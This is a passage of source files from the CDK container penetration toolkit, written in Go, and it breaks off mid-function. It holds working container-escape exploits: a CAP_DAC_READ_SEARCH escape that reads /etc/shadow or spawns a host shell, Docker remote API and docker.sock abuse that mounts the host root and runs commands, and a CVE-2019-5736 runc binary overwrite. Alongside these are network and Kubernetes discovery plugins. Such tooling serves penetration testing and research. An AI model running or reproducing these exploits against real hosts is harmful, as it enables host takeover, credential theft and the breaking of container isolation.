2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package discovery 21 | 22 | import ( 23 | "encoding/json" 24 | "io/ioutil" 25 | "log" 26 | "net/http" 27 | "strings" 28 | 29 | "github.com/cdk-team/CDK/pkg/exploit/base" 30 | 31 | "github.com/cdk-team/CDK/pkg/plugin" 32 | ) 33 | 34 | // plugin interface 35 | type istioCheckS struct{ base.BaseExploit } 36 | 37 | func (p istioCheckS) Desc() string { 38 | return "Check was the shell in a istio(service mesh) network, please note that this feature will request http://httpbin.org/get. Usage: cdk run istio-check." 39 | } 40 | 41 | type isioHeader struct { 42 | XAmznTraceId string `json:"X-Amzn-Trace-Id"` 43 | XB3Sampled string `json:"X-B3-Sampled"` 44 | XB3Spanid string `json:"X-B3-Spanid"` 45 | XB3Traceid string `json:"X-B3-Traceid"` 46 | XEnvoyAttemptCount string `json:"X-Envoy-Attempt-Count"` 47 | XEnvoyPeerMetadata string `json:"X-Envoy-Peer-Metadata"` 48 | XEnvoyPeerMetadataId string `json:"X-Envoy-Peer-Metadata-Id"` 49 | } 50 | 51 | type response struct { 52 | Header isioHeader `json:"headers"` 53 | } 54 | 55 | func (p istioCheckS) Run() bool { 56 | 57 | var result = response{} 58 | // idea from https://blog.neargle.com/backup/CIS2020%20-%20Attack%20in%20a%20Service%20Mesh%20-%20Public.pdf 59 | resp, err := http.Get("http://httpbin.org/get") 60 | if err != nil { 61 | log.Fatalf("cannot fetch http://httpbin.org/get , get err: %v", err) 62 | } 63 | defer resp.Body.Close() 64 | 65 | err = json.NewDecoder(resp.Body).Decode(&result) 66 | if err != nil { 67 | log.Printf("cannot decode JSON: %v", err) 68 | bodyBytes, _ := ioutil.ReadAll(resp.Body) 69 | log.Fatalf("respone error: %s", string(bodyBytes)) 70 | } 71 | 72 | // check X-Envoy-Peer-Metadata-Id 73 | if strings.Contains(result.Header.XEnvoyPeerMetadataId, "sidecar") { 74 | log.Println("the shell is in a istio(service mesh) network.") 75 | log.Printf("X-Envoy-Peer-Metadata-Id is %s.\n", result.Header.XEnvoyPeerMetadataId) 76 | log.Printf("X-Envoy-Peer-Metadata is %s.\n", result.Header.XEnvoyPeerMetadata) 77 | return true 78 | } else { 79 | log.Fatalf("the shell is not in a istio(service mesh) network.") 80 | } 81 | 82 | return false 83 | } 84 | 85 | func init() { 86 | exploit := istioCheckS{} 87 | exploit.ExploitType = "discovery" 88 | plugin.RegisterExploit("istio-check", exploit) 89 | } 90 | -------------------------------------------------------------------------------- /pkg/exploit/discovery/k8s_cluster_info.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package discovery 18 | 19 | import ( 20 | "fmt" 21 | "log" 22 | 23 | "github.com/cdk-team/CDK/pkg/tool/kubectl" 24 | ) 25 | 26 | var configmapApi = "/api/v1/configmaps" 27 | 28 | func GetNamespaces(serverAddr string) string { 29 | log.Println("requesting ", configmapApi) 30 | resp, err := kubectl.ServerAccountRequest( 31 | kubectl.K8sRequestOption{ 32 | TokenPath: "", 33 | Server: serverAddr, // default 34 | Api: "/api/v1/namespaces", 35 | Method: "get", 36 | PostData: "", 37 | Anonymous: true, 38 | }) 39 | if err != nil { 40 | fmt.Println(err) 41 | } 42 | 43 | return resp 44 | } 45 | 46 | func GetNodes(serverAddr string) string { 47 | log.Println("requesting ", configmapApi) 48 | resp, err := kubectl.ServerAccountRequest( 49 | kubectl.K8sRequestOption{ 50 | TokenPath: "", 51 | Server: serverAddr, // default 52 | Api: "/api/v1/namespaces", 53 | Method: "get", 54 | PostData: "", 55 | Anonymous: true, 56 | }) 57 | if err != nil { 58 | fmt.Println(err) 59 | } 60 | 61 | return resp 62 | } 63 | -------------------------------------------------------------------------------- /pkg/exploit/discovery/service_probe.go: -------------------------------------------------------------------------------- 1 | //go:build !no_service_probe 2 | // +build !no_service_probe 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package discovery 21 | 22 | import ( 23 | "log" 24 | 25 | "github.com/cdk-team/CDK/pkg/exploit/base" 26 | 27 | "github.com/cdk-team/CDK/pkg/cli" 28 | "github.com/cdk-team/CDK/pkg/plugin" 29 | "github.com/cdk-team/CDK/pkg/tool/probe" 30 | ) 31 | 32 | // plugin interface 33 | type serviceProbeS struct{ base.BaseExploit } 34 | 35 | func (p serviceProbeS) Desc() string { 36 | return "scan subnet to find Docker/K8s inner services, usage: cdk run service-probe 192.168.1.0-255" 37 | } 38 | func (p serviceProbeS) Run() bool { 39 | args := cli.Args[""].([]string) 40 | if len(args) != 1 { 41 | log.Println("Invalid input args") 42 | log.Fatal(p.Desc()) 43 | } 44 | probe.TCPScanExploitAPI(args[0]) 45 | return true 46 | } 47 | 48 | func init() { 49 | exploit := serviceProbeS{} 50 | exploit.ExploitType = "discovery" 51 | plugin.RegisterExploit("service-probe", exploit) 52 | } 53 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/cap_dac_read_search.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !no_cap_dac_read_search 2 | // +build linux,!no_cap_dac_read_search 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "io/ioutil" 24 | "os" 25 | "os/exec" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/cli" 29 | "github.com/cdk-team/CDK/pkg/exploit/base" 30 | "github.com/cdk-team/CDK/pkg/plugin" 31 | 32 | "golang.org/x/sys/unix" 33 | 34 | "fmt" 35 | "log" 36 | ) 37 | 38 | const ( 39 | defaultRef = "/etc/hostname" 40 | defaultTarget = "/etc/shadow" 41 | defaultShell = "/bin/bash" 42 | ) 43 | 44 | // plugin interface 45 | type CapDacReadSearch struct{ base.BaseExploit } 46 | 47 | func (p CapDacReadSearch) Desc() string { 48 | var buffer strings.Builder 49 | 50 | buffer.WriteString("Read files from host or chroot to host and spawn a cmd. ") 51 | buffer.WriteString("The First argument is file bind-mounted to container from host (default: %s), ") 52 | buffer.WriteString("the second argument specifies which file to read (default: %s), ") 53 | buffer.WriteString("the third and remaining arguments specifies command executed in host root filesystem (default: %s). ") 54 | buffer.WriteString("If there is one argument, the first argument is the target file to read. ") 55 | buffer.WriteString("When second argument is \"/\", this exploit will spawn a cmd. ") 56 | 57 | return fmt.Sprintf( 58 | buffer.String(), 59 | defaultRef, 60 | defaultTarget, 61 | defaultShell, 62 | ) 63 | } 64 | 65 | func (p CapDacReadSearch) Run() bool { 66 | args := cli.Args[""].([]string) 67 | 68 | var ( 69 | ref = defaultRef 70 | target = defaultTarget 71 | cmd = []string{defaultShell} 72 | ) 73 | 74 | switch len(args) { 75 | case 0: 76 | case 1: 77 | target = args[0] 78 | case 2: 79 | ref = args[0] 80 | target = args[1] 81 | default: 82 | ref = args[0] 83 | target = args[1] 84 | cmd = args[2:] 85 | } 86 | 87 | chroot := false 88 | if target == "/" { 89 | chroot = true 90 | } 91 | 92 | fmt.Printf("Running with target: %v, ref: %v\n", target, ref) 93 | CapDacReadSearchExploit(target, ref, chroot, cmd) 94 | 95 | return false 96 | } 97 | 98 | func init() { 99 | exploit := CapDacReadSearch{} 100 | exploit.ExploitType = "escaping" 101 | plugin.RegisterExploit("cap-dac-read-search", exploit) 102 | } 103 | 104 | func execCommand(cmdSlice []string) { 105 | cmd := exec.Command(cmdSlice[0], cmdSlice[1:]...) 106 | cmd.Stdout = os.Stdout 107 | cmd.Stdin = os.Stdin 108 | cmd.Stderr = os.Stderr 109 | if err := cmd.Run(); err != nil { 110 | log.Fatalf("[-] Run cmd: %s\n", err) 111 | } 112 | } 113 | 114 | func CapDacReadSearchExploit(target, ref string, chroot bool, cmd []string) error { 115 | // reference something bind mounted to container from host 116 | fd, err := unix.Open(ref, unix.O_RDONLY, 0) 117 | if err != nil { 118 | log.Fatalf("[-] Open: %v\n", err) 119 | } 120 | 121 | // inode of / is always 2 for ext4: https://ext4.wiki.kernel.org/index.php/Ext4_Disk_Layout 122 | // and i_generation is always 0, so handle is always 0x0000000000000002 123 | h := unix.NewFileHandle(1, []byte{0x02, 0, 0, 0, 0, 0, 0, 0}) 124 | 125 | fd, err = unix.OpenByHandleAt(fd, h, 0) 126 | if err != nil { 127 | log.Fatalf("[-] OpenByHandleAt: %v\n", err) 128 | } 129 | 130 | if err = unix.Fchdir(fd); err != nil { 131 | log.Fatalf("[-] Fchdir: %v\n", err) 132 | } 133 | 134 | if chroot { 135 | if err = unix.Chroot("."); err != nil { 136 | log.Fatalf("[-] Chroot: %v\n", err) 137 | } 138 | 139 | fmt.Printf("executing command(%s)...\n", strings.Join(cmd, " ")) 140 | 141 | execCommand(cmd) 142 | return nil 143 | } 144 | 145 | var content []byte 146 | if content, err = ioutil.ReadFile(fmt.Sprintf("./%s", target)); err != nil { 147 | log.Fatalf("[-] read file: %s\n", content) 148 | } 149 | 150 | fmt.Println(string(content)) 151 | 152 | return nil 153 | } 154 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/cap_dac_read_search_test.go: -------------------------------------------------------------------------------- 1 | //go:build linux && !no_cap_dac_read_search 2 | // +build linux,!no_cap_dac_read_search 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "strings" 25 | "testing" 26 | ) 27 | 28 | func TestWriteString(t *testing.T) { 29 | 30 | var ( 31 | defaultRef = "/etc/hostname" 32 | defaultTarget = "/etc/shadow" 33 | defaultShell = "/bin/bash" 34 | ) 35 | 36 | var buffer strings.Builder 37 | 38 | buffer.WriteString("Read files from host or chroot to host and spawn a cmd. ") 39 | buffer.WriteString("The First argument is file bind-mounted to container from host (default: %s), ") 40 | buffer.WriteString("the second argument specifies which file to read (default: %s), ") 41 | buffer.WriteString("the third and remaining arguments specifies command executed in host root filesystem (default: %s). ") 42 | buffer.WriteString("If there is one argument, the first argument is the target file to read. ") 43 | buffer.WriteString("When second argument is \"/\", this exploit will spawn a cmd. ") 44 | 45 | fmt.Println(fmt.Sprintf(buffer.String(), defaultRef, defaultTarget, defaultShell)) 46 | exploit := CapDacReadSearch{} 47 | fmt.Println(exploit.Desc()) 48 | 49 | } 50 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/check_ptrace.go: -------------------------------------------------------------------------------- 1 | //go:build !no_check_ptrace 2 | // +build !no_check_ptrace 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "io/ioutil" 24 | "log" 25 | "regexp" 26 | "strconv" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | "github.com/cdk-team/CDK/pkg/plugin" 30 | "github.com/cdk-team/CDK/pkg/tool/ps" 31 | ) 32 | 33 | const sysPtraceCapMask uint64 = 2 << 18 34 | 35 | func enableSysPtraceCap(mask uint64) bool { 36 | return mask&sysPtraceCapMask != 0 37 | } 38 | 39 | func CheckPidInject() bool { 40 | data, err := ioutil.ReadFile("/proc/self/status") 41 | if err != nil { 42 | log.Println(err) 43 | return false 44 | } 45 | 46 | pattern := regexp.MustCompile("(?i)capeff:\\s*?([a-z0-9]+)\\s") 47 | params := pattern.FindAllStringSubmatch(string(data), 1) 48 | 49 | for _, matched := range params { 50 | mask, err := strconv.ParseUint(matched[1], 16, 64) 51 | if err != nil { 52 | log.Println(err) 53 | return false 54 | } 55 | if enableSysPtraceCap(mask) { 56 | log.Println("SYS_PTRACE capability was enabled.") 57 | ps.RunPs() 58 | return true 59 | } else { 60 | log.Println("SYS_PTRACE capability was disabled.") 61 | return false 62 | } 63 | } 64 | return false 65 | } 66 | 67 | // plugin interface 68 | type PidInject struct{ base.BaseExploit } 69 | 70 | func (p PidInject) Desc() string { 71 | return "check if pid injection works with cap=SYS_PTRACE. usage: ./cdk run check-ptrace" 72 | } 73 | func (p PidInject) Run() bool { 74 | CheckPidInject() 75 | return true 76 | } 77 | 78 | func init() { 79 | exploit := PidInject{} 80 | exploit.ExploitType = "escaping" 81 | plugin.RegisterExploit("check-ptrace", exploit) 82 | } 83 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/check_ptrace_test.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 3 | 4 | Licensed under the Apache License, Version 2.0 (the "License"); 5 | you may not use this file except in compliance with the License. 6 | You may obtain a copy of the License at 7 | 8 | http://www.apache.org/licenses/LICENSE-2.0 9 | 10 | Unless required by applicable law or agreed to in writing, software 11 | distributed under the License is distributed on an "AS IS" BASIS, 12 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 13 | See the License for the specific language governing permissions and 14 | limitations under the License. 15 | */ 16 | 17 | package escaping 18 | 19 | import ( 20 | "testing" 21 | 22 | "github.com/stretchr/testify/assert" 23 | ) 24 | 25 | var EnableSysPtraceCap = enableSysPtraceCap 26 | 27 | func TestCheckPidInject(t *testing.T) { 28 | CheckPidInject() 29 | } 30 | 31 | func TestCheckSysPtraceCap(t *testing.T) { 32 | assert.False(t, EnableSysPtraceCap(0x00000000a80425fb)) 33 | assert.True(t, EnableSysPtraceCap(0x0000003fffffffff)) 34 | assert.True(t, EnableSysPtraceCap(0x00000000a80c25fb)) 35 | } 36 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/docker_api_pwn.go: -------------------------------------------------------------------------------- 1 | //go:build !no_docker_api_pwn 2 | // +build !no_docker_api_pwn 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "regexp" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/exploit/base" 29 | 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/plugin" 32 | "github.com/cdk-team/CDK/pkg/util" 33 | ) 34 | 35 | // http post body for Docker API exploit 36 | // https://docs.docker.com/engine/api/v1.24/#31-containers 37 | var dockerAPIHttpPostData = ` 38 | { 39 | "Image": "alpine", 40 | "Hostname": "", 41 | "Domainname": "", 42 | "User": "", 43 | "AttachStdin": true, 44 | "AttachStdout": true, 45 | "AttachStderr": true, 46 | "Tty": false, 47 | "OpenStdin": true, 48 | "StdinOnce": true, 49 | "Entrypoint": "", 50 | "Volumes": { 51 | "/host/": {} 52 | }, 53 | "HostConfig": { 54 | "Binds": ["/:/host"] 55 | }, 56 | "CMD": ["/bin/sh","-c",""] 57 | } 58 | ` 59 | 60 | func CheckDockerRemoteAPI(url string) bool { 61 | url = url + "/info" 62 | ans, err := util.HttpSendJson("GET", url, "") 63 | if err != nil { 64 | log.Println(err) 65 | return false 66 | } 67 | if strings.Contains(ans, "ContainersRunning") { 68 | return true 69 | } 70 | return false 71 | } 72 | 73 | func DockerRemoteAPIExploit(api string, cmd string) { 74 | // check if api available 75 | if !CheckDockerRemoteAPI(api) { 76 | log.Fatalln("Invalid Docker Remote API: " + api) 77 | } 78 | 79 | // pull image alpine 80 | url := api + "/images/create?fromImage=alpine&tag=latest" 81 | ans, err := util.HttpSendJson("POST", url, "") 82 | if err != nil { 83 | log.Fatalln(err) 84 | } 85 | log.Println("Docker API response:") 86 | fmt.Println(ans) 87 | 88 | // create container with user cmd 89 | url = api + "/containers/create" 90 | payloadData := strings.Replace(dockerAPIHttpPostData, "", cmd, -1) 91 | ans, err = util.HttpSendJson("POST", url, payloadData) 92 | if err != nil { 93 | log.Fatalln(err) 94 | } 95 | log.Println("Docker API response:") 96 | fmt.Println(ans) 97 | 98 | // get container id 99 | pattern := regexp.MustCompile("[A-Fa-f0-9]{64}") 100 | params := pattern.FindStringSubmatch(ans) 101 | if len(params) > 0 { 102 | log.Println("container ID: ", params) 103 | } else { 104 | return 105 | } 106 | 107 | // start container 108 | containerID := params[0] 109 | url = api + "/containers/" + containerID + "/start" 110 | log.Println("starting container:", containerID) 111 | ans, err = util.HttpSendJson("POST", url, "") 112 | if err != nil { 113 | log.Println(err) 114 | return 115 | } 116 | log.Println("finished.") 117 | } 118 | 119 | // plugin interface 120 | type DockerRemoteAPIS struct{ base.BaseExploit } 121 | 122 | func (p DockerRemoteAPIS) Desc() string { 123 | return "Create and run in a container with host `/` mounted to `/host`. usage: ./cdk run docker-api-pwn http://127.0.0.1:2375 \"touch /host/tmp/pwn-success\"" 124 | } 125 | 126 | func (p DockerRemoteAPIS) Run() bool { 127 | args := cli.Args[""].([]string) 128 | if len(args) != 2 { 129 | log.Println("invalid input args.") 130 | log.Fatal(p.Desc()) 131 | } 132 | url := args[0] 133 | cmd := args[1] 134 | DockerRemoteAPIExploit(url, cmd) 135 | return true 136 | } 137 | 138 | func init() { 139 | exploit := DockerRemoteAPIS{} 140 | exploit.ExploitType = "escaping" 141 | plugin.RegisterExploit("docker-api-pwn", exploit) 142 | } 143 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/docker_runc.go: -------------------------------------------------------------------------------- 1 | //go:build !no_docker_runc 2 | // +build !no_docker_runc 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "io/ioutil" 25 | "log" 26 | "os" 27 | "strconv" 28 | "strings" 29 | 30 | "github.com/cdk-team/CDK/pkg/cli" 31 | "github.com/cdk-team/CDK/pkg/exploit/base" 32 | "github.com/cdk-team/CDK/pkg/plugin" 33 | "github.com/cdk-team/CDK/pkg/util" 34 | ) 35 | 36 | // CVE-2019-5736 exploit copied from https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go 37 | func dockerRuncPwn(hijackCommand string) { 38 | 39 | if hijackCommand == "nil" { 40 | fmt.Println("[-] Please provide a payload") 41 | return 42 | } 43 | 44 | payload := fmt.Sprintf("#!/bin/bash \n %s", hijackCommand) 45 | fd, err := os.Create("/bin/sh") 46 | if err != nil { 47 | fmt.Println(err) 48 | return 49 | } 50 | fmt.Fprintln(fd, "#!/proc/self/exe") 51 | err = fd.Close() 52 | if err != nil { 53 | fmt.Println(err) 54 | return 55 | } 56 | 57 | var found = -1 58 | pids, err := ioutil.ReadDir("/proc") 59 | fmt.Println(pids) 60 | if err != nil { 61 | fmt.Println("err found when reading /proc dir:", err) 62 | return 63 | } 64 | 65 | for _, f := range pids { 66 | // drop non-pid 67 | pidDir := "/proc/" + f.Name() 68 | if !util.IsDir(pidDir) { 69 | continue 70 | } 71 | 72 | fint, err := strconv.Atoi(f.Name()) 73 | if err != nil { 74 | continue 75 | } 76 | fbytes, err := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline") 77 | if err != nil { 78 | continue 79 | } 80 | fstring := string(fbytes) 81 | fmt.Println(fstring) 82 | if strings.Contains(fstring, "runc") && !strings.Contains(fstring, "runc-pwn") { 83 | fmt.Println("\tmatched pid - ", f.Name()) 84 | found = fint 85 | break 86 | } 87 | } 88 | if found == -1 { 89 | fmt.Println("\tcannot find RunC process inside container, exit.") 90 | return 91 | } 92 | var handleFd = -1 93 | for handleFd == -1 { 94 | handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777) 95 | if int(handle.Fd()) > 0 { 96 | handleFd = int(handle.Fd()) 97 | } 98 | } 99 | for { 100 | writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700) 101 | if int(writeHandle.Fd()) > 0 { 102 | writeHandle.Write([]byte(payload)) 103 | log.Println("Successfully got write handle", writeHandle) 104 | log.Println("The command executed is", payload) 105 | return 106 | } 107 | } 108 | } 109 | 110 | // plugin interface 111 | type dockerRuncPwnS struct{ base.BaseExploit } 112 | 113 | func (p dockerRuncPwnS) Desc() string { 114 | return "container escape via CVE-2019-5736. usage: ./cdk run runc-pwn " 115 | } 116 | func (p dockerRuncPwnS) Run() bool { 117 | args := cli.Args[""].([]string) 118 | if len(args) != 1 { 119 | log.Println("invalid input args.") 120 | log.Fatal(p.Desc()) 121 | } 122 | cmd := args[0] 123 | log.Println("THIS EXPLOIT WILL OVERWRITE RUNC BINARY AND BREAK CI/CD, BACKUP YOUR RUNC BINARY FIRST!") 124 | log.Println("Shellcode will be trigger when an execve() call in container or the container is manually stopped.") 125 | log.Println("Exploit CVE-2019-5736 with shellcode commands: ", cmd) 126 | dockerRuncPwn(cmd) 127 | log.Println("Finished.") 128 | return true 129 | } 130 | 131 | func init() { 132 | exploit := dockerRuncPwnS{} 133 | exploit.ExploitType = "escaping" 134 | plugin.RegisterExploit("runc-pwn", exploit) 135 | } 136 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/docker_sock_check.go: -------------------------------------------------------------------------------- 1 | //go:build !no_docker_sock_check 2 | // +build !no_docker_sock_check 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "os" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/cli" 29 | "github.com/cdk-team/CDK/pkg/errors" 30 | "github.com/cdk-team/CDK/pkg/exploit/base" 31 | "github.com/cdk-team/CDK/pkg/plugin" 32 | "github.com/cdk-team/CDK/pkg/util" 33 | ) 34 | 35 | // APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py 36 | // curl --unix-socket /var/run/docker.sock http://127.0.0.1/info 37 | func CheckDockerSock(path string) error { 38 | _, err := os.Stat(path) 39 | if err != nil { 40 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "err found while stat docker.sock path."} 41 | } 42 | body, err := util.UnixHttpSend("get", path, "http://127.0.0.1/info", "") 43 | if err != nil { 44 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to send http request to unix socket."} 45 | } 46 | fmt.Println("\t" + body) 47 | if strings.Contains(body, "Containers") { 48 | log.Println("success, docker.sock is available. please use `./cdk ucurl` commands to control docker API") 49 | log.Println("you can find Docker APIs in https://docs.docker.com/engine/api/v1.24/") 50 | log.Println("happy escaping!") 51 | } else { 52 | log.Println("cannot get docker daemon info from target unix socket.") 53 | } 54 | return nil 55 | } 56 | 57 | // plugin interface 58 | type DINDAttackS struct{ base.BaseExploit } 59 | 60 | func (p DINDAttackS) Desc() string { 61 | return "check if docker unix socket available. usage: ./cdk run docker-sock-check " 62 | } 63 | func (p DINDAttackS) Run() bool { 64 | args := cli.Args[""].([]string) 65 | if len(args) != 1 { 66 | log.Println("invalid input args.") 67 | log.Fatal(p.Desc()) 68 | } 69 | 70 | sock := args[0] 71 | log.Println("checking docker socket: ", sock) 72 | 73 | err := CheckDockerSock(sock) 74 | if err != nil { 75 | log.Println(err) 76 | return false 77 | } else { 78 | return true 79 | } 80 | } 81 | 82 | func init() { 83 | exploit := DINDAttackS{} 84 | exploit.ExploitType = "escaping" 85 | plugin.RegisterExploit("docker-sock-check", exploit) 86 | } 87 | -------------------------------------------------------------------------------- /pkg/exploit/escaping/docker_sock_pwn.go: -------------------------------------------------------------------------------- 1 | //go:build !no_docker_sock_pwn 2 | // +build !no_docker_sock_pwn 3 | 4 | /* 5 | Copyright 2022 The Authors of https://github.com/CDK-TEAM/CDK . 6 | 7 | Licensed under the Apache License, Version 2.0 (the "License"); 8 | you may not use this file except in compliance with the License. 9 | You may obtain a copy of the License at 10 | 11 | http://www.apache.org/licenses/LICENSE-2.0 12 | 13 | Unless required by applicable law or agreed to in writing, software 14 | distributed under the License is distributed on an "AS IS" BASIS, 15 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 16 | See the License for the specific language governing permissions and 17 | limitations under the License. 18 | */ 19 | 20 | package escaping 21 | 22 | import ( 23 | "fmt" 24 | "log" 25 | "regexp" 26 | "strings" 27 | 28 | "github.com/cdk-team/CDK/pkg/cli" 29 | "github.com/cdk-team/CDK/pkg/errors" 30 | "github.com/cdk-team/CDK/pkg/exploit/base" 31 | "github.com/cdk-team/CDK/pkg/plugin" 32 | "github.com/cdk-team/CDK/pkg/util" 33 | ) 34 | 35 | // APIs Ref https://github.com/AbsoZed/DockerPwn.py/blob/master/createContainer.py 36 | // curl --unix-socket /var/run/docker.sock http://127.0.0.1/info 37 | func DockerAPIRun(path string, cmd string) error { 38 | cmd = strings.Replace(cmd, "\"", "\\\"", -1) // escape shell cmd 39 | cmd = strings.Replace(cmd, "\n", "\\n", -1) // escape shell cmd 40 | cmd = strings.Replace(cmd, "\t", "\\t", -1) // escape shell cmd 41 | payloadData := strings.Replace(dockerAPIHttpPostData, "", cmd, -1) 42 | 43 | log.Println(payloadData) 44 | ans, err := util.UnixHttpSend("post", path, "http://127.0.0.1/containers/create", payloadData) 45 | if err != nil { 46 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to create container via unix socket http request."} 47 | } 48 | log.Println("Docker API response:") 49 | fmt.Println("\t" + ans) 50 | 51 | // get container id 52 | pattern := regexp.MustCompile("[A-Fa-f0-9]{64}") 53 | params := pattern.FindStringSubmatch(ans) 54 | if len(params) > 0 { 55 | log.Println("container ID: ", params) 56 | } else { 57 | return errors.New("failed to get container ID after created.") 58 | } 59 | 60 | // start container 61 | containerID := params[0] 62 | log.Println("starting container:", containerID) 63 | ans, err = util.UnixHttpSend("post", path, "http://127.0.0.1/containers/"+containerID+"/start", "") 64 | if err != nil { 65 | return &errors.CDKRuntimeError{Err: err, CustomMsg: "failed to start container via unix socket http request."} 66 | } 67 | log.Println("finished.") 68 | return nil 69 | } 70 | 71 | func DockerAPIPull(path string, image string) error { 72 